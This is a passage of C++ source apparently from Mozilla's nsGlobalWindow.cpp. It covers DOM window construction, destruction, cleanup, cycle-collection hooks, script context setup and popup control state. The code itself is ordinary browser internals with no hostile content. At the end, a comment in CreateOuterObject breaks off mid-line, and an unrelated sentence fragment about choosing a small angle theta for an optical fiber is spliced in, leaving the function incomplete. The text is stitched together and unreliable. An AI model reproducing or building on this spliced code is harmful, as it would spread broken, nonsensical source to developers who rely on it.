mIsInnerWindow(aOuterWindow != nullptr), mMayHavePaintEventListener(false), mMayHaveTouchEventListener(false), mMayHaveMouseEnterLeaveEventListener(false), mIsModalContentWindow(false), mIsActive(false), mIsBackground(false), mInnerWindow(nullptr), mOuterWindow(aOuterWindow), // Make sure no actual window ends up with mWindowID == 0 mWindowID(++gNextWindowID), mHasNotifiedGlobalCreated(false) {} nsPIDOMWindow::~nsPIDOMWindow() {} //***************************************************************************** // nsOuterWindowProxy: Outer Window Proxy //***************************************************************************** class nsOuterWindowProxy : public js::DirectWrapper { public: nsOuterWindowProxy() : js::DirectWrapper(0) {} virtual bool isOuterWindow() { return true; } JSString *obj_toString(JSContext *cx, JSObject *wrapper); void finalize(JSFreeOp *fop, JSObject *proxy); static nsOuterWindowProxy singleton; }; JSString * nsOuterWindowProxy::obj_toString(JSContext *cx, JSObject *proxy) { JS_ASSERT(js::IsProxy(proxy)); return JS_NewStringCopyZ(cx, "[object Window]"); } void nsOuterWindowProxy::finalize(JSFreeOp *fop, JSObject *proxy) { nsISupports *global = static_cast(js::GetProxyExtra(proxy, 0).toPrivate()); if (global) { nsWrapperCache *cache; CallQueryInterface(global, &cache); cache->ClearWrapper(); } } nsOuterWindowProxy nsOuterWindowProxy::singleton; static JSObject* NewOuterWindowProxy(JSContext *cx, JSObject *parent) { JSAutoCompartment ac(cx, parent); JSObject *proto; if (!js::GetObjectProto(cx, parent, &proto)) return nullptr; JSObject *obj = js::Wrapper::New(cx, parent, proto, parent, &nsOuterWindowProxy::singleton); NS_ASSERTION(js::GetObjectClass(obj)->ext.innerObject, "bad class"); return obj; } //***************************************************************************** //*** nsGlobalWindow: Object Management //***************************************************************************** nsGlobalWindow::nsGlobalWindow(nsGlobalWindow *aOuterWindow) : nsPIDOMWindow(aOuterWindow), mIdleFuzzFactor(0), mIdleCallbackIndex(-1), mCurrentlyIdle(false), mAddActiveEventFuzzTime(true), mIsFrozen(false), mFullScreen(false), mIsClosed(false), mInClose(false), mHavePendingClose(false), mHadOriginalOpener(false), mIsPopupSpam(false), mBlockScriptedClosingFlag(false), mFireOfflineStatusChangeEventOnThaw(false), mNotifyIdleObserversIdleOnThaw(false), mNotifyIdleObserversActiveOnThaw(false), mCreatingInnerWindow(false), mIsChrome(false), mCleanMessageManager(false), mNeedsFocus(true), mHasFocus(false), #if defined(XP_MACOSX) mShowAccelerators(false), mShowFocusRings(false), #else mShowAccelerators(true), mShowFocusRings(true), #endif mShowFocusRingForContent(false), mFocusByKeyOccurred(false), mNotifiedIDDestroyed(false), mAllowScriptsToClose(false), mTimeoutInsertionPoint(nullptr), mTimeoutPublicIdCounter(1), mTimeoutFiringDepth(0), mJSObject(nullptr), mTimeoutsSuspendDepth(0), mFocusMethod(0), mSerial(0), #ifdef DEBUG mSetOpenerWindowCalled(false), #endif #ifdef MOZ_B2G mNetworkUploadObserverEnabled(false), mNetworkDownloadObserverEnabled(false), #endif mCleanedUp(false), mCallCleanUpAfterModalDialogCloses(false), mDialogAbuseCount(0), mStopAbuseDialogs(false), mDialogsPermanentlyDisabled(false) { nsLayoutStatics::AddRef(); // Initialize the PRCList (this). PR_INIT_CLIST(this); // Initialize timeout storage PR_INIT_CLIST(&mTimeouts); if (aOuterWindow) { // |this| is an inner window, add this inner window to the outer // window list of inners. PR_INSERT_AFTER(this, aOuterWindow); mObserver = new nsGlobalWindowObserver(this); if (mObserver) { NS_ADDREF(mObserver); nsCOMPtr os = mozilla::services::GetObserverService(); if (os) { // Watch for online/offline status changes so we can fire events. Use // a strong reference. os->AddObserver(mObserver, NS_IOSERVICE_OFFLINE_STATUS_TOPIC, false); // Watch for dom-storage2-changed so we can fire storage // events. Use a strong reference. os->AddObserver(mObserver, "dom-storage2-changed", false); } } } else { // |this| is an outer window. Outer windows start out frozen and // remain frozen until they get an inner window, so freeze this // outer window here. Freeze(); mObserver = nullptr; SetIsDOMBinding(); } // We could have failed the first time through trying // to create the entropy collector, so we should // try to get one until we succeed. gRefCnt++; if (gRefCnt == 1) { #if !(defined(DEBUG) || defined(MOZ_ENABLE_JS_DUMP)) Preferences::AddBoolVarCache(&gDOMWindowDumpEnabled, "browser.dom.window.dump.enabled"); #endif Preferences::AddIntVarCache(&gMinTimeoutValue, "dom.min_timeout_value", DEFAULT_MIN_TIMEOUT_VALUE); Preferences::AddIntVarCache(&gMinBackgroundTimeoutValue, "dom.min_background_timeout_value", DEFAULT_MIN_BACKGROUND_TIMEOUT_VALUE); Preferences::AddBoolVarCache(&sIdleObserversAPIFuzzTimeDisabled, "dom.idle-observers-api.fuzz_time.disabled", false); } if (gDumpFile == nullptr) { const nsAdoptingCString& fname = Preferences::GetCString("browser.dom.window.dump.file"); if (!fname.IsEmpty()) { // if this fails to open, Dump() knows to just go to stdout // on null. gDumpFile = fopen(fname, "wb+"); } else { gDumpFile = stdout; } } mSerial = ++gSerialCounter; #ifdef DEBUG if (!PR_GetEnv("MOZ_QUIET")) { printf("++DOMWINDOW == %d (%p) [serial = %d] [outer = %p]\n", gRefCnt, static_cast(static_cast(this)), gSerialCounter, static_cast(aOuterWindow)); } #endif #ifdef PR_LOGGING if (gDOMLeakPRLog) PR_LOG(gDOMLeakPRLog, PR_LOG_DEBUG, ("DOMWINDOW %p created outer=%p", this, aOuterWindow)); #endif NS_ASSERTION(sWindowsById, "Windows hash table must be created!"); NS_ASSERTION(!sWindowsById->Get(mWindowID), "This window shouldn't be in the hash table yet!"); // We seem to see crashes in release builds because of null |sWindowsById|. if (sWindowsById) { sWindowsById->Put(mWindowID, this); } mEventTargetObjects.Init(); } /* static */ void nsGlobalWindow::Init() { CallGetService(NS_ENTROPYCOLLECTOR_CONTRACTID, &gEntropyCollector); NS_ASSERTION(gEntropyCollector, "gEntropyCollector should have been initialized!"); #ifdef PR_LOGGING gDOMLeakPRLog = PR_NewLogModule("DOMLeak"); NS_ASSERTION(gDOMLeakPRLog, "gDOMLeakPRLog should have been initialized!"); #endif sWindowsById = new WindowByIdTable(); sWindowsById->Init(); } static PLDHashOperator DisconnectEventTargetObjects(nsPtrHashKey* aKey, void* aClosure) { nsRefPtr target = aKey->GetKey(); target->DisconnectFromOwner(); return PL_DHASH_NEXT; } nsGlobalWindow::~nsGlobalWindow() { mEventTargetObjects.EnumerateEntries(DisconnectEventTargetObjects, nullptr); mEventTargetObjects.Clear(); // We have to check if sWindowsById isn't null because ::Shutdown might have // been called. if (sWindowsById) { NS_ASSERTION(sWindowsById->Get(mWindowID), "This window should be in the hash table"); sWindowsById->Remove(mWindowID); } --gRefCnt; #ifdef DEBUG if (!PR_GetEnv("MOZ_QUIET")) { nsAutoCString url; if (mLastOpenedURI) { mLastOpenedURI->GetSpec(url); // Data URLs can be very long, so truncate to avoid flooding the log. const uint32_t maxURLLength = 1000; if (url.Length() > maxURLLength) { url.Truncate(maxURLLength); } } printf("--DOMWINDOW == %d (%p) [serial = %d] [outer = %p] [url = %s]\n", gRefCnt, static_cast(static_cast(this)), mSerial, static_cast(mOuterWindow.get()), url.get()); } #endif #ifdef PR_LOGGING if (gDOMLeakPRLog) PR_LOG(gDOMLeakPRLog, PR_LOG_DEBUG, ("DOMWINDOW %p destroyed", this)); #endif if (IsOuterWindow()) { JSObject *proxy = GetWrapperPreserveColor(); if (proxy) { js::SetProxyExtra(proxy, 0, js::PrivateValue(NULL)); } // An outer window is destroyed with inner windows still possibly // alive, iterate through the inner windows and null out their // back pointer to this outer, and pull them out of the list of // inner windows. nsGlobalWindow *w; while ((w = (nsGlobalWindow *)PR_LIST_HEAD(this)) != this) { PR_REMOVE_AND_INIT_LINK(w); } } else { Telemetry::Accumulate(Telemetry::INNERWINDOWS_WITH_MUTATION_LISTENERS, mMutationBits ? 1 : 0); if (mListenerManager) { mListenerManager->Disconnect(); mListenerManager = nullptr; } // An inner window is destroyed, pull it out of the outer window's // list if inner windows. PR_REMOVE_LINK(this); // If our outer window's inner window is this window, null out the // outer window's reference to this window that's being deleted. nsGlobalWindow *outer = GetOuterWindowInternal(); if (outer) { outer->MaybeClearInnerWindow(this); } } NeuterStorageInstances(); mDocument = nullptr; // Forces Release mDoc = nullptr; NS_ASSERTION(!mArguments, "mArguments wasn't cleaned up properly!"); CleanUp(true); #ifdef DEBUG nsCycleCollector_DEBUG_wasFreed(static_cast(this)); #endif if (mURLProperty) { mURLProperty->ClearWindowReference(); } nsCOMPtr ac = do_GetService(NS_DEVICE_SENSORS_CONTRACTID); if (ac) ac->RemoveWindowAsListener(this); nsLayoutStatics::Release(); } void nsGlobalWindow::AddEventTargetObject(nsDOMEventTargetHelper* aObject) { mEventTargetObjects.PutEntry(aObject); } void nsGlobalWindow::RemoveEventTargetObject(nsDOMEventTargetHelper* aObject) { mEventTargetObjects.RemoveEntry(aObject); } // static void nsGlobalWindow::ShutDown() { if (gDumpFile && gDumpFile != stdout) { fclose(gDumpFile); } gDumpFile = nullptr; NS_IF_RELEASE(gEntropyCollector); delete sWindowsById; sWindowsById = nullptr; } // static void nsGlobalWindow::CleanupCachedXBLHandlers(nsGlobalWindow* aWindow) { if (aWindow->mCachedXBLPrototypeHandlers.IsInitialized() && aWindow->mCachedXBLPrototypeHandlers.Count() > 0) { aWindow->mCachedXBLPrototypeHandlers.Clear(); nsISupports* supports; aWindow->QueryInterface(NS_GET_IID(nsCycleCollectionISupports), reinterpret_cast(&supports)); NS_ASSERTION(supports, "Failed to QI to nsCycleCollectionISupports?!"); nsContentUtils::DropJSObjects(supports); } } void nsGlobalWindow::MaybeForgiveSpamCount() { if (IsOuterWindow() && IsPopupSpamWindow()) { SetPopupSpamWindow(false); --gOpenPopupSpamCount; NS_ASSERTION(gOpenPopupSpamCount >= 0, "Unbalanced decrement of gOpenPopupSpamCount"); } } void nsGlobalWindow::CleanUp(bool aIgnoreModalDialog) { if (IsOuterWindow() && !aIgnoreModalDialog) { nsGlobalWindow* inner = GetCurrentInnerWindowInternal(); nsCOMPtr dlg(do_QueryObject(inner)); if (dlg) { // The window we're trying to clean up is the outer window of a // modal dialog. Defer cleanup until the window closes, and let // ShowModalDialog take care of calling CleanUp. mCallCleanUpAfterModalDialogCloses = true; return; } } // Guarantee idempotence. if (mCleanedUp) return; mCleanedUp = true; mEventTargetObjects.EnumerateEntries(DisconnectEventTargetObjects, nullptr); mEventTargetObjects.Clear(); if (mObserver) { nsCOMPtr os = mozilla::services::GetObserverService(); if (os) { os->RemoveObserver(mObserver, NS_IOSERVICE_OFFLINE_STATUS_TOPIC); os->RemoveObserver(mObserver, "dom-storage2-changed"); } #ifdef MOZ_B2G DisableNetworkEvent(NS_NETWORK_UPLOAD_EVENT); DisableNetworkEvent(NS_NETWORK_DOWNLOAD_EVENT); #endif // MOZ_B2G if (mIdleService) { mIdleService->RemoveIdleObserver(mObserver, MIN_IDLE_NOTIFICATION_TIME_S); } // Drop its reference to this dying window, in case for some bogus reason // the object stays around. mObserver->Forget(); NS_RELEASE(mObserver); } mNavigator = nullptr; mScreen = nullptr; mMenubar = nullptr; mToolbar = nullptr; mLocationbar = nullptr; mPersonalbar = nullptr; mStatusbar = nullptr; mScrollbars = nullptr; mLocation = nullptr; mHistory = nullptr; mFrames = nullptr; mWindowUtils = nullptr; mApplicationCache = nullptr; mIndexedDB = nullptr; mPerformance = nullptr; ClearControllers(); mOpener = nullptr; // Forces Release if (mContext) { #ifdef DEBUG nsCycleCollector_DEBUG_shouldBeFreed(mContext); #endif mContext = nullptr; // Forces Release } mChromeEventHandler = nullptr; // Forces Release mParentTarget = nullptr; nsGlobalWindow *inner = GetCurrentInnerWindowInternal(); if (inner) { inner->CleanUp(aIgnoreModalDialog); } if (mCleanMessageManager) { NS_ABORT_IF_FALSE(mIsChrome, "only chrome should have msg manager cleaned"); nsGlobalChromeWindow *asChrome = static_cast(this); if (asChrome->mMessageManager) { static_cast( asChrome->mMessageManager.get())->Disconnect(); } } mInnerWindowHolder = nullptr; mArguments = nullptr; mArgumentsLast = nullptr; mArgumentsOrigin = nullptr; CleanupCachedXBLHandlers(this); if (mIdleTimer) { mIdleTimer->Cancel(); mIdleTimer = nullptr; } DisableTimeChangeNotifications(); #ifdef DEBUG nsCycleCollector_DEBUG_shouldBeFreed(static_cast(this)); #endif } void nsGlobalWindow::ClearControllers() { if (mControllers) { uint32_t count; mControllers->GetControllerCount(&count); while (count--) { nsCOMPtr controller; mControllers->GetControllerAt(count, getter_AddRefs(controller)); nsCOMPtr context = do_QueryInterface(controller); if (context) context->SetCommandContext(nullptr); } mControllers = nullptr; } } void nsGlobalWindow::FreeInnerObjects() { NS_ASSERTION(IsInnerWindow(), "Don't free inner objects on an outer window"); // Make sure that this is called before we null out the document and // other members that the window destroyed observers could // re-create. NotifyDOMWindowDestroyed(this); // Kill all of the workers for this window. nsIScriptContext *scx = GetContextInternal(); JSContext *cx = scx ? scx->GetNativeContext() : nullptr; mozilla::dom::workers::CancelWorkersForWindow(cx, this); // Close all IndexedDB databases for this window. indexedDB::IndexedDatabaseManager* idbManager = indexedDB::IndexedDatabaseManager::Get(); if (idbManager) { idbManager->AbortCloseDatabasesForWindow(this); } ClearAllTimeouts(); if (mIdleTimer) { mIdleTimer->Cancel(); mIdleTimer = nullptr; } mIdleObservers.Clear(); mChromeEventHandler = nullptr; if (mListenerManager) { mListenerManager->Disconnect(); mListenerManager = nullptr; } mLocation = nullptr; mHistory = nullptr; if (mNavigator) { mNavigator->OnNavigation(); mNavigator->Invalidate(); mNavigator = nullptr; } if (mScreen) { mScreen = nullptr; } if (mDocument) { NS_ASSERTION(mDoc, "Why is mDoc null?"); // Remember the document's principal. mDocumentPrincipal = mDoc->NodePrincipal(); } #ifdef DEBUG if (mDocument) nsCycleCollector_DEBUG_shouldBeFreed(nsCOMPtr(do_QueryInterface(mDocument))); #endif // Remove our reference to the document and the document principal. mDocument = nullptr; mDoc = nullptr; mFocusedNode = nullptr; if (mApplicationCache) { static_cast(mApplicationCache.get())->Disconnect(); mApplicationCache = nullptr; } mIndexedDB = nullptr; NotifyWindowIDDestroyed("inner-window-destroyed"); CleanupCachedXBLHandlers(this); #ifdef DEBUG nsCycleCollector_DEBUG_shouldBeFreed(static_cast(this)); #endif } //***************************************************************************** // nsGlobalWindow::nsISupports //***************************************************************************** #define OUTER_WINDOW_ONLY \ if (IsOuterWindow()) { #define END_OUTER_WINDOW_ONLY \ foundInterface = 0; \ } else NS_IMPL_CYCLE_COLLECTION_CLASS(nsGlobalWindow) DOMCI_DATA(Window, nsGlobalWindow) // QueryInterface implementation for nsGlobalWindow NS_INTERFACE_MAP_BEGIN_CYCLE_COLLECTION(nsGlobalWindow) // Make sure this matches the cast in nsGlobalWindow::FromWrapper() NS_INTERFACE_MAP_ENTRY_AMBIGUOUS(nsISupports, nsIScriptGlobalObject) NS_INTERFACE_MAP_ENTRY(nsIDOMWindow) #ifdef MOZ_B2G NS_INTERFACE_MAP_ENTRY(nsIDOMWindowB2G) #endif // MOZ_B2G NS_INTERFACE_MAP_ENTRY(nsIDOMJSWindow) if (aIID.Equals(NS_GET_IID(nsIDOMWindowInternal))) { foundInterface = static_cast(this); if (!sWarnedAboutWindowInternal) { sWarnedAboutWindowInternal = true; nsContentUtils::ReportToConsole(nsIScriptError::warningFlag, "Extensions", mDoc, nsContentUtils::eDOM_PROPERTIES, "nsIDOMWindowInternalWarning"); } } else NS_INTERFACE_MAP_ENTRY(nsIScriptGlobalObject) NS_INTERFACE_MAP_ENTRY(nsIScriptObjectPrincipal) NS_INTERFACE_MAP_ENTRY(nsIDOMEventTarget) NS_INTERFACE_MAP_ENTRY(nsPIDOMWindow) NS_INTERFACE_MAP_ENTRY(nsIDOMStorageIndexedDB) NS_INTERFACE_MAP_ENTRY(nsISupportsWeakReference) NS_INTERFACE_MAP_ENTRY(nsIInterfaceRequestor) NS_INTERFACE_MAP_ENTRY(nsIDOMWindowPerformance) NS_INTERFACE_MAP_ENTRY(nsITouchEventReceiver) NS_INTERFACE_MAP_ENTRY(nsIInlineEventHandlers) NS_DOM_INTERFACE_MAP_ENTRY_CLASSINFO(Window) OUTER_WINDOW_ONLY NS_WRAPPERCACHE_INTERFACE_MAP_ENTRY END_OUTER_WINDOW_ONLY NS_INTERFACE_MAP_END NS_IMPL_CYCLE_COLLECTING_ADDREF(nsGlobalWindow) NS_IMPL_CYCLE_COLLECTING_RELEASE(nsGlobalWindow) static PLDHashOperator MarkXBLHandlers(nsXBLPrototypeHandler* aKey, JSObject* aData, void* aClosure) { xpc_UnmarkGrayObject(aData); return PL_DHASH_NEXT; } NS_IMPL_CYCLE_COLLECTION_CAN_SKIP_BEGIN(nsGlobalWindow) if (tmp->IsBlackForCC()) { if (tmp->mCachedXBLPrototypeHandlers.IsInitialized()) { tmp->mCachedXBLPrototypeHandlers.EnumerateRead(MarkXBLHandlers, nullptr); } nsEventListenerManager* elm = tmp->GetListenerManager(false); if (elm) { elm->UnmarkGrayJSListeners(); } tmp->UnmarkGrayTimers(); return true; } NS_IMPL_CYCLE_COLLECTION_CAN_SKIP_END NS_IMPL_CYCLE_COLLECTION_CAN_SKIP_IN_CC_BEGIN(nsGlobalWindow) return tmp->IsBlackForCC(); NS_IMPL_CYCLE_COLLECTION_CAN_SKIP_IN_CC_END NS_IMPL_CYCLE_COLLECTION_CAN_SKIP_THIS_BEGIN(nsGlobalWindow) return tmp->IsBlackForCC(); NS_IMPL_CYCLE_COLLECTION_CAN_SKIP_THIS_END NS_IMPL_CYCLE_COLLECTION_TRAVERSE_BEGIN_INTERNAL(nsGlobalWindow) if (NS_UNLIKELY(cb.WantDebugInfo())) { char name[512]; PR_snprintf(name, sizeof(name), "nsGlobalWindow #%ld", tmp->mWindowID); cb.DescribeRefCountedNode(tmp->mRefCnt.get(), name); } else { NS_IMPL_CYCLE_COLLECTION_DESCRIBE(nsGlobalWindow, tmp->mRefCnt.get()) } if (!cb.WantAllTraces() && tmp->IsBlackForCC()) { return NS_SUCCESS_INTERRUPTED_TRAVERSE; } NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mContext) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mControllers) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mArguments) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mArgumentsLast) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NATIVE_MEMBER(mPerformance, nsPerformance) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mInnerWindowHolder) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mOuterWindow) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NATIVE_MEMBER(mListenerManager, nsEventListenerManager) for (nsTimeout* timeout = tmp->FirstTimeout(); tmp->IsTimeout(timeout); timeout = timeout->Next()) { cb.NoteNativeChild(timeout, NS_CYCLE_COLLECTION_PARTICIPANT(nsTimeout)); } NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mLocalStorage) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mSessionStorage) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mApplicationCache) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mDocumentPrincipal) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mDoc) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mIdleService) // Traverse stuff from nsPIDOMWindow NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mChromeEventHandler) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mParentTarget) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mDocument) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mFrameElement) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mFocusedNode) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMARRAY(mPendingStorageEvents) for (uint32_t i = 0; i < tmp->mIdleObservers.Length(); i++) { NS_CYCLE_COLLECTION_NOTE_EDGE_NAME(cb, "mIdleObservers[i].nsIIdleObserverPtr"); cb.NoteXPCOMChild(tmp->mIdleObservers.ElementAt(i).mIdleObserver.get()); } NS_IMPL_CYCLE_COLLECTION_TRAVERSE_END NS_IMPL_CYCLE_COLLECTION_UNLINK_BEGIN(nsGlobalWindow) nsGlobalWindow::CleanupCachedXBLHandlers(tmp); NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mContext) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mControllers) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mArguments) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mArgumentsLast) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mPerformance) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mInnerWindowHolder) if (tmp->mOuterWindow) { static_cast(tmp->mOuterWindow.get())->MaybeClearInnerWindow(tmp); NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mOuterWindow) } if (tmp->mListenerManager) { tmp->mListenerManager->Disconnect(); NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mListenerManager) } tmp->NeuterStorageInstances(); NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mApplicationCache) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mDocumentPrincipal) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mDoc) // Unlink stuff from nsPIDOMWindow NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mChromeEventHandler) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mParentTarget) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mDocument) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mFrameElement) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mFocusedNode) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mIdleService) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMARRAY(mPendingStorageEvents) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSTARRAY(mIdleObservers) NS_IMPL_CYCLE_COLLECTION_UNLINK_END struct TraceData { TraceData(TraceCallback& aCallback, void* aClosure) : callback(aCallback), closure(aClosure) {} TraceCallback& callback; void* closure; }; static PLDHashOperator TraceXBLHandlers(nsXBLPrototypeHandler* aKey, JSObject* aData, void* aClosure) { TraceData* data = static_cast(aClosure); data->callback(aData, "Cached XBL prototype handler", data->closure); return PL_DHASH_NEXT; } NS_IMPL_CYCLE_COLLECTION_TRACE_BEGIN(nsGlobalWindow) if (tmp->mCachedXBLPrototypeHandlers.IsInitialized()) { TraceData data(aCallback, aClosure); tmp->mCachedXBLPrototypeHandlers.EnumerateRead(TraceXBLHandlers, &data); } NS_IMPL_CYCLE_COLLECTION_TRACE_END bool nsGlobalWindow::IsBlackForCC() { return (mDoc && nsCCUncollectableMarker::InGeneration(mDoc->GetMarkedCCGeneration())) || (nsCCUncollectableMarker::sGeneration && IsBlack()); } void nsGlobalWindow::UnmarkGrayTimers() { for (nsTimeout* timeout = FirstTimeout(); timeout && IsTimeout(timeout); timeout = timeout->Next()) { if (timeout->mScriptHandler) { JSObject* o = timeout->mScriptHandler->GetScriptObject(); xpc_UnmarkGrayObject(o); } } } //***************************************************************************** // nsGlobalWindow::nsIScriptGlobalObject //***************************************************************************** nsresult nsGlobalWindow::EnsureScriptEnvironment() { FORWARD_TO_OUTER(EnsureScriptEnvironment, (), NS_ERROR_NOT_INITIALIZED); if (mJSObject) { return NS_OK; } NS_ASSERTION(!GetCurrentInnerWindowInternal(), "mJSObject is null, but we have an inner window?"); nsCOMPtr scriptRuntime; nsresult rv = NS_GetJSRuntime(getter_AddRefs(scriptRuntime)); NS_ENSURE_SUCCESS(rv, rv); nsCOMPtr context = scriptRuntime->CreateContext(); NS_ASSERTION(!mContext, "Will overwrite mContext!"); // should probably assert the context is clean??? context->WillInitializeContext(); // We need point the context to the global window before initializing it // so that it can make various decisions properly. context->SetGlobalObject(this); rv = context->InitContext(); NS_ENSURE_SUCCESS(rv, rv); if (IsFrame()) { // This window is a [i]frame, don't bother GC'ing when the // frame's context is destroyed since a GC will happen when the // frameset or host document is destroyed anyway. context->SetGCOnDestruction(false); } mContext = context; return NS_OK; } nsIScriptContext * nsGlobalWindow::GetScriptContext() { FORWARD_TO_OUTER(GetScriptContext, (), nullptr); return mContext; } nsIScriptContext * nsGlobalWindow::GetContext() { FORWARD_TO_OUTER(GetContext, (), nullptr); // check GetContext is indeed identical to GetScriptContext() NS_ASSERTION(mContext == GetScriptContext(), "GetContext confused?"); return mContext; } JSObject * nsGlobalWindow::GetGlobalJSObject() { return FastGetGlobalJSObject(); } bool nsGlobalWindow::WouldReuseInnerWindow(nsIDocument *aNewDocument) { // We reuse the inner window when: // a. We are currently at our original document. // b. At least one of the following conditions are true: // -- The new document is the same as the old document. This means that we're // getting called from document.open(). // -- The new document has the same origin as what we have loaded right now. if (!mDoc || !aNewDocument) { return false; } if (!mDoc->IsInitialDocument()) { return false; } NS_ASSERTION(NS_IsAboutBlank(mDoc->GetDocumentURI()), "How'd this happen?"); // Great, we're the original document, check for one of the other // conditions. if (mDoc == aNewDocument) { return true; } bool equal; if (NS_SUCCEEDED(mDoc->NodePrincipal()->Equals(aNewDocument->NodePrincipal(), &equal)) && equal) { // The origin is the same. return true; } return false; } void nsGlobalWindow::SetInitialPrincipalToSubject() { FORWARD_TO_OUTER_VOID(SetInitialPrincipalToSubject, ()); // First, grab the subject principal. These methods never fail. nsIScriptSecurityManager* ssm = nsContentUtils::GetSecurityManager(); nsCOMPtr newWindowPrincipal, systemPrincipal; ssm->GetSubjectPrincipal(getter_AddRefs(newWindowPrincipal)); ssm->GetSystemPrincipal(getter_AddRefs(systemPrincipal)); if (!newWindowPrincipal) { newWindowPrincipal = systemPrincipal; } // Now, if we're about to use the system principal, make sure we're not using // it for a content docshell. if (newWindowPrincipal == systemPrincipal) { int32_t itemType; nsCOMPtr item = do_QueryInterface(GetDocShell()); nsresult rv = item->GetItemType(&itemType); if (NS_FAILED(rv) || itemType != nsIDocShellTreeItem::typeChrome) { newWindowPrincipal = nullptr; } } // If there's an existing document, bail if it either: if (mDoc) { // (a) is not an initial about:blank document, or if (!mDoc->IsInitialDocument()) return; // (b) already has the correct principal. if (mDoc->NodePrincipal() == newWindowPrincipal) return; #ifdef DEBUG // If we have a document loaded at this point, it had better be about:blank. // Otherwise, something is really weird. nsCOMPtr uri; mDoc->NodePrincipal()->GetURI(getter_AddRefs(uri)); NS_ASSERTION(uri && NS_IsAboutBlank(uri) && NS_IsAboutBlank(mDoc->GetDocumentURI()), "Unexpected original document"); #endif } GetDocShell()->CreateAboutBlankContentViewer(newWindowPrincipal); mDoc->SetIsInitialDocument(true); nsCOMPtr shell; GetDocShell()->GetPresShell(getter_AddRefs(shell)); if (shell && !shell->DidInitialize()) { // Ensure that if someone plays with this document they will get // layout happening. nsRect r = shell->GetPresContext()->GetVisibleArea(); shell->Initialize(r.width, r.height); } } PopupControlState PushPopupControlState(PopupControlState aState, bool aForce) { PopupControlState oldState = gPopupControlState; if (aState < gPopupControlState || aForce) { gPopupControlState = aState; } return oldState; } void PopPopupControlState(PopupControlState aState) { gPopupControlState = aState; } PopupControlState nsGlobalWindow::PushPopupControlState(PopupControlState aState, bool aForce) const { return ::PushPopupControlState(aState, aForce); } void nsGlobalWindow::PopPopupControlState(PopupControlState aState) const { ::PopPopupControlState(aState); } PopupControlState nsGlobalWindow::GetPopupControlState() const { return gPopupControlState; } #define WINDOWSTATEHOLDER_IID \ {0x0b917c3e, 0xbd50, 0x4683, {0xaf, 0xc9, 0xc7, 0x81, 0x07, 0xae, 0x33, 0x26}} class WindowStateHolder MOZ_FINAL : public nsISupports { public: NS_DECLARE_STATIC_IID_ACCESSOR(WINDOWSTATEHOLDER_IID) NS_DECL_ISUPPORTS WindowStateHolder(nsGlobalWindow *aWindow, nsIXPConnectJSObjectHolder *aHolder); nsGlobalWindow* GetInnerWindow() { return mInnerWindow; } nsIXPConnectJSObjectHolder *GetInnerWindowHolder() { return mInnerWindowHolder; } void DidRestoreWindow() { mInnerWindow = nullptr; mInnerWindowHolder = nullptr; } protected: ~WindowStateHolder(); nsGlobalWindow *mInnerWindow; // We hold onto this to make sure the inner window doesn't go away. The outer // window ends up recalculating it anyway. nsCOMPtr mInnerWindowHolder; }; NS_DEFINE_STATIC_IID_ACCESSOR(WindowStateHolder, WINDOWSTATEHOLDER_IID) WindowStateHolder::WindowStateHolder(nsGlobalWindow *aWindow, nsIXPConnectJSObjectHolder *aHolder) : mInnerWindow(aWindow) { NS_PRECONDITION(aWindow, "null window"); NS_PRECONDITION(aWindow->IsInnerWindow(), "Saving an outer window"); mInnerWindowHolder = aHolder; aWindow->SuspendTimeouts(); } WindowStateHolder::~WindowStateHolder() { if (mInnerWindow) { // This window was left in the bfcache and is now going away. We need to // free it up. // Note that FreeInnerObjects may already have been called on the // inner window if its outer has already had SetDocShell(null) // called. mInnerWindow->FreeInnerObjects(); } } NS_IMPL_ISUPPORTS1(WindowStateHolder, WindowStateHolder) nsresult nsGlobalWindow::CreateOuterObject(nsGlobalWindow* aNewInner) { JSContext* cx = mContext->GetNativeContext(); if (IsChromeWindow()) { // Always enable E4X for XUL and other chrome content -- there is no // need to preserve the /----> from the above, we can see that we want the smallest possible theta to assure that the fiber doesn't go into an 